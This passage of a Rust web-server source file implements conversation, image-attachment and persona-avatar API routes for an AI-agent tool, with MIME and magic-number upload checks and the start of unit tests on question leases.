10917        talk::reopen(&mut talk, &ui.talks)?;
10918        let thinking = ui.is_thinking(&talk.id);
10919        Ok(Json(TalkView::new(talk, thinking, &ui)))
10920    })
10921    .await
10922}
10923
10924/// `GET /api/talks/{id}/live` - the in-progress reply of a running omp turn
10925/// ([`crate::omp_rpc::Live`]), or 204 when no turn is streaming.
10926async fn talk_live(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
10927    blocking(move || {
10928        let id = resolve_talk(&ui.talks, &id)?;
10929        Ok(
10930            match crate::omp_rpc::read_live(&crate::talk::live_path(&ui.talks, &id)) {
10931                Some(live) => Json(live).into_response(),
10932                None => StatusCode::NO_CONTENT.into_response(),
10933            },
10934        )
10935    })
10936    .await
10937}
10938
10939/// `POST /api/talks/{id}/stop` - ask the running turn to stop. Only an omp
10940/// RPC turn still taking commands honours it (its live snapshot exists for
10941/// exactly that long), so anything else is a 409, never a silent no-op.
10942async fn talk_stop(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10943    blocking(move || {
10944        let id = resolve_talk(&ui.talks, &id)?;
10945        if !ui.is_thinking(&id)
10946            || !crate::omp_rpc::request_stop(
10947                &crate::talk::live_path(&ui.talks, &id),
10948                &crate::talk::live_stop_path(&ui.talks, &id),
10949            )?
10950        {
10951            return Err(ApiError::conflict(
10952                "no stoppable turn is running in this conversation",
10953            ));
10954        }
10955        Ok(StatusCode::ACCEPTED)
10956    })
10957    .await
10958}
10959
10960/// `DELETE /api/talks/{id}`.
10961///
10962/// Removes the conversation's record and artifacts outright, unlike
10963/// [`talk_close`] which keeps the record as history. A turn already in
10964/// flight is not refused here the way [`run_delete`] refuses a live run:
10965/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10966/// under [`Talks::guard`], that the record they are about to write back is
10967/// still there, so a delete racing a turn is safe without this route having
10968/// to know a turn is running at all.
10969async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10970    blocking(move || {
10971        let id = resolve_talk(&ui.talks, &id)?;
10972        ui.talks.remove(&id)?;
10973        Ok(StatusCode::NO_CONTENT)
10974    })
10975    .await
10976}
10977
10978fn talk_ids(root: &FsPath) -> Vec<String> {
10979    std::fs::read_dir(root)
10980        .into_iter()
10981        .flatten()
10982        .flatten()
10983        .filter_map(|e| {
10984            let path = e.path();
10985            if path.extension().is_some_and(|ext| ext == "json") {
10986                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10987            } else {
10988                None
10989            }
10990        })
10991        .collect()
10992}
10993
10994/// Expand an id or short id to exactly one talk id.
10995fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10996    if plain_record_id(id) && store.path_of(id).is_file() {
10997        return Ok(id.to_owned());
10998    }
10999    pick(talk_ids(store.root()), id, "talk")
11000}
11001
11002/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
11003/// future `talk-say`.
11004async fn talk_attachment_post(
11005    State(ui): State<Arc<Ui>>,
11006    Path(id): Path<String>,
11007    headers: HeaderMap,
11008    body: Bytes,
11009) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
11010    let mime = validate_attachment(&headers, &body)?;
11011    let name = filename_header(&headers);
11012    let data = body.to_vec();
11013    blocking(move || {
11014        let id = resolve_talk(&ui.talks, &id)?;
11015        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
11016        Ok((StatusCode::CREATED, Json(att)))
11017    })
11018    .await
11019}
11020
11021/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
11022/// `<img>` tag in the transcript.
11023async fn talk_attachment_get(
11024    State(ui): State<Arc<Ui>>,
11025    Path((id, att)): Path<(String, String)>,
11026) -> ApiResult<Response> {
11027    blocking(move || {
11028        let id = resolve_talk(&ui.talks, &id)?;
11029        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
11030            return Err(ApiError::not_found(format!(
11031                "talk {id} has no attachment `{att}`"
11032            )));
11033        };
11034        Ok(attachment_response(&meta.mime, data))
11035    })
11036    .await
11037}
11038
11039/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
11040/// the icon setting, so changing it changes the URL.
11041fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
11042    let id = avatar_encode(&p.id);
11043    format!(
11044        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
11045        persona_icon::fingerprint(
11046            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
11047        )
11048    )
11049}
11050
11051#[derive(Debug, Default, Deserialize)]
11052struct AvatarQuery {
11053    persona: Option<String>,
11054    /// Set by the page after the first load failed: skip the `icon`.
11055    builtin: Option<String>,
11056}
11057
11058/// Served with every built-in avatar: it is an image, so nothing else may run.
11059const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11060
11061fn builtin_avatar(id: &str) -> Response {
11062    svg_avatar(persona_icon::builtin_svg(id))
11063}
11064
11065async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11066    raster_or_builtin(
11067        read_icon_file(&avatar_setting_path(&ui.home, None))
11068            .filter(|_| q.builtin.is_none())
11069            .as_deref(),
11070        persona_icon::operator_svg(),
11071    )
11072}
11073
11074fn svg_avatar(svg: &'static str) -> Response {
11075    (
11076        [
11077            (header::CONTENT_TYPE, "image/svg+xml"),
11078            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11079            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11080            (header::CACHE_CONTROL, "no-cache"),
11081        ],
11082        svg,
11083    )
11084        .into_response()
11085}
11086
11087fn avatar_encode(value: &str) -> String {
11088    value
11089        .bytes()
11090        .map(|b| {
11091            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
11092                char::from(b).to_string()
11093            } else {
11094                format!("%{b:02X}")
11095            }
11096        })
11097        .collect()
11098}
11099
11100// Display-only overrides live outside configuration and conversation records.
11101fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
11102    let Some(id) = persona else {
11103        return home.join("avatars/operator.data");
11104    };
11105    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
11106    let mut path = home.join("avatars/personas");
11107    for chunk in encoded.as_bytes().chunks(100) {
11108        path.push(std::str::from_utf8(chunk).expect("hex"));
11109    }
11110    path.join("icon.data")
11111}
11112
11113fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
11114    match read_icon_file(&avatar_setting_path(home, Some(id))) {
11115        Some(value) if value == "builtin" => Some(String::new()),
11116        Some(value) => Some(value),
11117        None => configured.map(str::to_owned),
11118    }
11119}
11120
11121fn operator_icon_url(home: &FsPath) -> String {
11122    format!(
11123        "/avatars/operator.svg?v={}",
11124        persona_icon::fingerprint(
11125            read_icon_file(&avatar_setting_path(home, None))
11126                .as_deref()
11127                .or(Some(persona_icon::operator_svg()))
11128        )
11129    )
11130}
11131
11132fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
11133    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
11134        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11135            attachment_response(mime, bytes)
11136        }
11137        _ => svg_avatar(builtin),
11138    };
11139    response
11140        .headers_mut()
11141        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11142    response
11143}
11144
11145#[derive(Default, Deserialize)]
11146struct AvatarSettingsQuery {
11147    repo: Option<PathBuf>,
11148    persona: Option<String>,
11149    builtin: Option<String>,
11150    inherit: Option<String>,
11151}
11152
11153fn avatar_settings_specs(
11154    ui: &Ui,
11155    repo: Option<PathBuf>,
11156) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
11157    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
11158    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
11159        .map(|cfg| cfg.talk.personas)
11160        .unwrap_or_default();
11161    Ok((repo, specs))
11162}
11163
11164fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
11165    let Ok(entries) = std::fs::read_dir(path) else {
11166        return;
11167    };
11168    for entry in entries.flatten() {
11169        let name = entry.file_name().to_string_lossy().into_owned();
11170        if name == "icon.data" {
11171            let bytes: Option<Vec<u8>> = prefix
11172                .as_bytes()
11173                .chunks(2)
11174                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
11175                .collect();
11176            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
11177                out.push(id);
11178            }
11179        } else if name.len() <= 100
11180            && !name.is_empty()
11181            && name.bytes().all(|b| b.is_ascii_hexdigit())
11182            && entry.file_type().is_ok_and(|t| t.is_dir())
11183        {
11184            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
11185        }
11186    }
11187}
11188
11189async fn avatar_settings_get(
11190    State(ui): State<Arc<Ui>>,
11191    Query(q): Query<AvatarSettingsQuery>,
11192) -> ApiResult<Json<serde_json::Value>> {
11193    blocking(move || {
11194        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
11195        let mut catalog = persona::catalog(&specs);
11196        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
11197        let mut saved = Vec::new();
11198        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
11199        for id in saved {
11200            if !catalog.iter().any(|p| p.id == id) {
11201                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
11202            }
11203        }
11204        let personas: Vec<_> = catalog.iter().map(|p| {
11205            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
11206            let override_state = match saved.as_deref() {
11207                Some("builtin") => "builtin",
11208                Some(_) => "custom",
11209                None => "inherit",
11210            };
11211            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
11212            serde_json::json!({"id":p.id,"name":p.name,
11213                "override_state":override_state,"has_config_icon":p.icon.is_some(),
11214                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
11215                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
11216        }).collect();
11217        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
11218    }).await
11219}
11220
11221async fn settings_persona_avatar(
11222    State(ui): State<Arc<Ui>>,
11223    Query(q): Query<AvatarSettingsQuery>,
11224) -> ApiResult<Response> {
11225    blocking(move || {
11226        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
11227        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
11228        let found = persona::find(&specs, id);
11229        let icon =
11230            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
11231        Ok(raster_or_builtin(
11232            icon.as_deref().filter(|_| q.builtin.is_none()),
11233            persona_icon::builtin_svg(id),
11234        ))
11235    })
11236    .await
11237}
11238
11239fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
11240    if q.persona
11241        .as_ref()
11242        .is_some_and(|p| p.is_empty() || p.len() > 4096)
11243    {
11244        return Err(ApiError::bad_request("invalid persona id"));
11245    }
11246    Ok(())
11247}
11248
11249async fn avatar_settings_put(
11250    State(ui): State<Arc<Ui>>,
11251    Query(q): Query<AvatarSettingsQuery>,
11252    Json(upload): Json<MagiIconUpload>,
11253) -> ApiResult<Json<serde_json::Value>> {
11254    blocking(move || {
11255        validate_avatar_target(&q)?;
11256        save_icon_file(
11257            &avatar_setting_path(&ui.home, q.persona.as_deref()),
11258            &upload.icon,
11259        )
11260        .map_err(ApiError::bad_request_from)?;
11261        Ok(Json(serde_json::json!({"saved":true})))
11262    })
11263    .await
11264}
11265
11266async fn avatar_settings_delete(
11267    State(ui): State<Arc<Ui>>,
11268    Query(q): Query<AvatarSettingsQuery>,
11269) -> ApiResult<Json<serde_json::Value>> {
11270    blocking(move || {
11271        validate_avatar_target(&q)?;
11272        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
11273        if q.persona.is_some() && q.inherit.is_none() {
11274            atomic_icon_write(&path, "builtin")?;
11275        } else {
11276            match std::fs::remove_file(path) {
11277                Ok(()) => (),
11278                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11279                Err(e) => return Err(anyhow::Error::from(e).into()),
11280            }
11281        }
11282        Ok(Json(serde_json::json!({"saved":true})))
11283    })
11284    .await
11285}
11286
11287// The global MAGI icon is deliberately independent of repository configuration.
11288fn magi_icon_path(home: &FsPath) -> PathBuf {
11289    home.join("magi-icon.data")
11290}
11291
11292fn read_magi_icon(home: &FsPath) -> Option<String> {
11293    read_icon_file(&magi_icon_path(home))
11294}
11295
11296fn read_icon_file(path: &FsPath) -> Option<String> {
11297    let metadata = std::fs::metadata(path).ok()?;
11298    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
11299        return None;
11300    }
11301    let file = std::fs::File::open(path).ok()?;
11302    use std::io::Read;
11303    let mut text = String::new();
11304    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
11305        .read_to_string(&mut text)
11306        .ok()?;
11307    if text.len() > persona_icon::ICON_MAX_BYTES {
11308        return None;
11309    }
11310    if text == "builtin" {
11311        return Some(text);
11312    }
11313    validate_uploaded_icon(&text).ok()?;
11314    Some(text)
11315}
11316
11317fn magi_icon_url(home: &FsPath) -> String {
11318    format!(
11319        "/avatars/magi?v={}",
11320        persona_icon::fingerprint(read_magi_icon(home).as_deref())
11321    )
11322}
11323
11324async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
11325    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
11326}
11327
11328#[derive(Deserialize)]
11329struct MagiIconUpload {
11330    icon: String,
11331}
11332
11333fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
11334    save_icon_file(&magi_icon_path(home), icon)
11335}
11336
11337fn validate_uploaded_icon(icon: &str) -> Result<()> {
11338    if !icon.starts_with("data:") {
11339        anyhow::bail!("upload a raster image");
11340    }
11341    let (mime, bytes) = persona_icon::load(icon)?;
11342    if sniffed_mime(&bytes) != Some(mime) {
11343        anyhow::bail!("image content does not match its type");
11344    }
11345    Ok(())
11346}
11347
11348fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11349    validate_uploaded_icon(icon)?;
11350    atomic_icon_write(path, icon)
11351}
11352
11353fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11354    let home = path.parent().expect("icon parent");
11355    std::fs::create_dir_all(home)?;
11356    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11357    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11358    let result = (|| -> Result<()> {
11359        use std::io::Write;
11360        let mut file = std::fs::OpenOptions::new()
11361            .write(true)
11362            .create_new(true)
11363            .open(&temp)?;
11364        file.write_all(icon.as_bytes())?;
11365        file.sync_all()?;
11366        std::fs::rename(&temp, path)?;
11367        Ok(())
11368    })();
11369    let _ = std::fs::remove_file(temp);
11370    result?;
11371    Ok(())
11372}
11373
11374async fn magi_icon_put(
11375    State(ui): State<Arc<Ui>>,
11376    Json(upload): Json<MagiIconUpload>,
11377) -> ApiResult<Json<serde_json::Value>> {
11378    blocking(move || {
11379        if !upload.icon.starts_with("data:") {
11380            return Err(ApiError::bad_request("upload a raster image"));
11381        }
11382        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11383        if sniffed_mime(&bytes) != Some(mime) {
11384            return Err(ApiError::bad_request(
11385                "image content does not match its type",
11386            ));
11387        }
11388        save_magi_icon(&ui.home, &upload.icon)?;
11389        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11390    })
11391    .await
11392}
11393
11394async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11395    blocking(move || {
11396        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11397            Ok(()) => (),
11398            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11399            Err(e) => return Err(anyhow::Error::from(e).into()),
11400        }
11401        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11402    })
11403    .await
11404}
11405
11406async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11407    let icon = (q.builtin.is_none())
11408        .then(|| read_magi_icon(&ui.home))
11409        .flatten();
11410    let mut response = match icon
11411        .as_deref()
11412        .and_then(|icon| persona_icon::load(icon).ok())
11413    {
11414        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11415            attachment_response(mime, bytes)
11416        }
11417        _ => svg_avatar(persona_icon::magi_svg()),
11418    };
11419    response
11420        .headers_mut()
11421        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11422    response
11423}
11424
11425/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11426/// operator's raster `icon` when it resolves and its bytes agree with its
11427/// type, the built-in SVG otherwise. Display only; every failure is a warning
11428/// and the built-in avatar, never an error response.
11429async fn talk_avatar(
11430    State(ui): State<Arc<Ui>>,
11431    Path(id): Path<String>,
11432    Query(q): Query<AvatarQuery>,
11433) -> ApiResult<Response> {
11434    blocking(move || {
11435        let id = resolve_talk(&ui.talks, &id)?;
11436        let talk = ui.talks.get(&id)?;
11437        let wanted = q
11438            .persona
11439            .as_deref()
11440            .map(str::trim)
11441            .filter(|p| !p.is_empty())
11442            .unwrap_or(&talk.persona)
11443            .to_owned();
11444        let specs = match talk.config() {
11445            Ok(cfg) => cfg.talk.personas,
11446            Err(e) => {
11447                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11448                Vec::new()
11449            }
11450        };
11451        let found = persona::find(&specs, &wanted);
11452        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11453        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11454        let icon = effective_persona_icon(
11455            &ui.home,
11456            &wanted,
11457            found.as_ref().and_then(|p| p.icon.as_deref()),
11458        );
11459        if found.is_none() && icon.is_none() {
11460            return Ok(builtin_avatar(persona::DEFAULT_ID));
11461        }
11462        let Some(icon) = icon
11463            .as_deref()
11464            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11465        else {
11466            return Ok(builtin_avatar(&wanted));
11467        };
11468        let Some(found) = found else {
11469            return Ok(raster_or_builtin(
11470                Some(icon),
11471                persona_icon::builtin_svg(&wanted),
11472            ));
11473        };
11474        match persona_icon::load(icon) {
11475            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11476                let mut res = attachment_response(mime, bytes);
11477                res.headers_mut().insert(
11478                    header::CACHE_CONTROL,
11479                    header::HeaderValue::from_static("no-cache"),
11480                );
11481                Ok(res)
11482            }
11483            Ok((mime, _)) => {
11484                tracing::warn!(
11485                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11486                    found.id
11487                );
11488                Ok(builtin_avatar(&found.id))
11489            }
11490            Err(e) => {
11491                tracing::warn!(
11492                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11493                    found.id
11494                );
11495                Ok(builtin_avatar(&found.id))
11496            }
11497        }
11498    })
11499    .await
11500}
11501
11502/// Validate an attachment upload's declared `Content-Type` and the bytes
11503/// themselves, returning the canonical mime on success.
11504///
11505/// Two checks, both required: the header has to name one of
11506/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11507/// simply never in the list, active content rather than a picture, the same
11508/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11509/// magic number has to agree. The second is what stops a mislabeled upload -
11510/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11511/// a declared type is a claim, not a fact, so it is never trusted alone.
11512fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11513    if data.len() > ATTACHMENT_MAX_BYTES {
11514        return Err(ApiError::bad_request(format!(
11515            "attachment is {} bytes, over the {} MiB limit",
11516            data.len(),
11517            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11518        ))
11519        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11520    }
11521    if data.is_empty() {
11522        return Err(ApiError::bad_request("attachment is empty"));
11523    }
11524    let declared = declared_mime(headers)?;
11525    match sniffed_mime(data) {
11526        Some(sniffed) if sniffed == declared => Ok(declared),
11527        Some(sniffed) => Err(ApiError::bad_request(format!(
11528            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11529        ))),
11530        None => Err(ApiError::bad_request(
11531            "the file's bytes do not match any accepted image format",
11532        )),
11533    }
11534}
11535
11536/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11537/// and nothing else - parameters like `; charset=` are stripped, but the
11538/// value itself is not otherwise interpreted.
11539fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11540    let raw = headers
11541        .get(header::CONTENT_TYPE)
11542        .and_then(|v| v.to_str().ok())
11543        .unwrap_or("")
11544        .split(';')
11545        .next()
11546        .unwrap_or("")
11547        .trim()
11548        .to_ascii_lowercase();
11549    ATTACHMENT_MIME_WHITELIST
11550        .iter()
11551        .find(|&&m| m == raw)
11552        .copied()
11553        .ok_or_else(|| {
11554            if raw == "image/svg+xml" {
11555                ApiError::bad_request(
11556                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11557                     not just a picture",
11558                )
11559            } else if raw.is_empty() {
11560                ApiError::bad_request("Content-Type is required for an attachment upload")
11561            } else {
11562                ApiError::bad_request(format!(
11563                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11564                     image/gif or image/webp"
11565                ))
11566            }
11567        })
11568}
11569
11570/// Identify an image by its magic number, independent of whatever
11571/// `Content-Type` claimed.
11572fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11573    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11574        Some("image/png")
11575    } else if data.starts_with(b"\xff\xd8\xff") {
11576        Some("image/jpeg")
11577    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11578        Some("image/gif")
11579    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11580        Some("image/webp")
11581    } else {
11582        None
11583    }
11584}
11585
11586/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11587/// display - see [`talk::Attachment::name`]'s doc on why it never
11588/// contributes to a path. A missing or blank header (curl without it, an
11589/// older front end) falls back to a generic name rather than refusing the
11590/// upload over a field that is cosmetic.
11591fn filename_header(headers: &HeaderMap) -> String {
11592    headers
11593        .get(FILENAME_HEADER)
11594        .and_then(|v| v.to_str().ok())
11595        .map(str::trim)
11596        .filter(|s| !s.is_empty())
11597        .unwrap_or("attachment")
11598        .to_owned()
11599}
11600
11601/// Every attachment `GET` response: the mime re-validated against the same
11602/// closed whitelist the upload route enforces - never the string trusted
11603/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11604/// cannot decide it knows better than the type we send. Unlike a panel asset
11605/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11606/// document renders inline, not agent-authored HTML in a sandboxed frame.
11607fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11608    let content_type = ATTACHMENT_MIME_WHITELIST
11609        .iter()
11610        .find(|&&m| m == mime)
11611        .copied()
11612        .unwrap_or("application/octet-stream");
11613    (
11614        [
11615            (header::CONTENT_TYPE, content_type),
11616            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11617        ],
11618        body,
11619    )
11620        .into_response()
11621}
11622
11623/// The configuration for a repository, read off the disk for this request.
11624///
11625/// Through [`blocking`] because discovery reads and merges several TOML files,
11626/// and because the alternative - caching it in [`Ui`] at startup - would mean
11627/// the operator's phone kept interviewing with a roster they had already
11628/// changed, with no way to reload it but restarting the server they are not
11629/// sitting in front of.
11630async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11631    let repo = repo.to_path_buf();
11632    blocking(move || {
11633        let (cfg, _) = Config::discover(&repo, None)?;
11634        Ok(cfg)
11635    })
11636    .await
11637}
11638
11639/// The one prefix rule, used for both runs and tasks: a leading match for a
11640/// full id, a trailing match for the short form an operator reads off a
11641/// report. Written here rather than borrowed from `queue::resolve_id` because
11642/// the UI needs the two failures as different status codes, and telling them
11643/// apart from an error message is not something to build a route on.
11644fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11645    let mut hits = ids
11646        .into_iter()
11647        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11648    match (hits.next(), hits.next()) {
11649        (Some(one), None) => Ok(one),
11650        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11651        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11652            "`{prefix}` matches more than one {what}, including {a} and {b}"
11653        ))),
11654    }
11655}
11656
11657#[cfg(test)]
11658mod tests {
11659
11660    #[test]
11661    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11662        let dir = tempfile::tempdir().unwrap();
11663        let store = ask::Questions::at(dir.path().join("questions"));
11664        let mut q = Question::new(
11665            "task".to_owned(),
11666            "conduct".to_owned(),
11667            "conduct".to_owned(),
11668            "choose".to_owned(),
11669            String::new(),
11670            vec!["keep".to_owned()],
11671        );
11672        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11673        q.say("why?").unwrap();
11674        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11675        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11676        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11677        store.put(&mut q).unwrap();
11678        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11679        assert_eq!(store.count_needs_owner(), 1);
11680        store.beat(&q.id, ask::WaiterKind::Deputy);
11681        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11682        assert_eq!(store.count_needs_owner(), 0);
11683        let mut stale = store.read_lease(&q.id).unwrap();
11684        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11685        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11686        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11687        assert!(view.deputy_exhausted);
11688        assert!(view.waiting_on_agent);
11689        assert_eq!(view.question.choices, ["keep"]);
11690        store.drop_lease(&q.id);
11691        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11692        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11693    }
11694
11695    #[test]
11696    fn holder_reads_the_lease_not_the_record() {
11697        let mut q = Question::new(
11698            "run".to_owned(),
11699            "implement".to_owned(),
11700            "impl-A".to_owned(),
11701            "which?".to_owned(),
11702            String::new(),
11703            Vec::new(),
11704        );
11705        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11706        q.cwd = Some("/tmp".to_owned());
11707        assert_eq!(holder_of(&q, None), Some("nobody"));
11708        let beat = |kind, ago: i64| ask::Lease {
11709            kind,
11710            pid: 1,
11711            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11712                .unwrap(),
11713        };
11714        let fresh = beat(ask::WaiterKind::Asker, 1);
11715        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11716        let daemon = beat(ask::WaiterKind::Daemon, 1);
11717        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11718        let stale = beat(ask::WaiterKind::Asker, 3600);
11719        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11720
11721        // A conductor question says "deputy" only while one is attached and
11722        // alive, and "nobody" - never silence - when nothing ever listened.
11723        let mut c = Question::new(
11724            "task".to_owned(),
11725            crate::conduct::NODE.to_owned(),
11726            "conduct".to_owned(),
11727            "which?".to_owned(),
11728            String::new(),
11729            Vec::new(),
11730        );
11731        assert_eq!(holder_of(&c, None), Some("nobody"));
11732        c.cwd = Some("/tmp".to_owned());
11733        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11734        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11735        let deputy = beat(ask::WaiterKind::Deputy, 1);
11736        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11737        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11738
11739        // A release-watch question: nobody until a deputy is attached.
11740        let mut r = Question::new(
11741            String::new(),
11742            crate::bump::NOTICE_NODE.to_owned(),
11743            "release-watch".to_owned(),
11744            "stuck?".to_owned(),
11745            String::new(),
11746            vec!["hold".to_owned()],
11747        );
11748        assert_eq!(holder_of(&r, None), Some("nobody"));
11749        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11750        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11751        // A choice-less bump notice is nobody's question at all.
11752        r.deputy = None;
11753        r.seat = "bump".to_owned();
11754        assert_eq!(holder_of(&r, None), None);
11755
11756        // A merge approval is the same: nobody until a deputy is attached
11757        // and alive, never a silent "no holder".
11758        let mut m = Question::new(
11759            "run".to_owned(),
11760            crate::land::APPROVAL_NODE.to_owned(),
11761            "land".to_owned(),
11762            "merge?".to_owned(),
11763            String::new(),
11764            Vec::new(),
11765        );
11766        assert_eq!(holder_of(&m, None), Some("nobody"));
11767        assert_eq!(
11768            holder_of(&m, Some(&fresh)),
11769            Some("asker"),
11770            "a live explicit wait is a listener even before a deputy is attached"
11771        );
11772        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11773        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
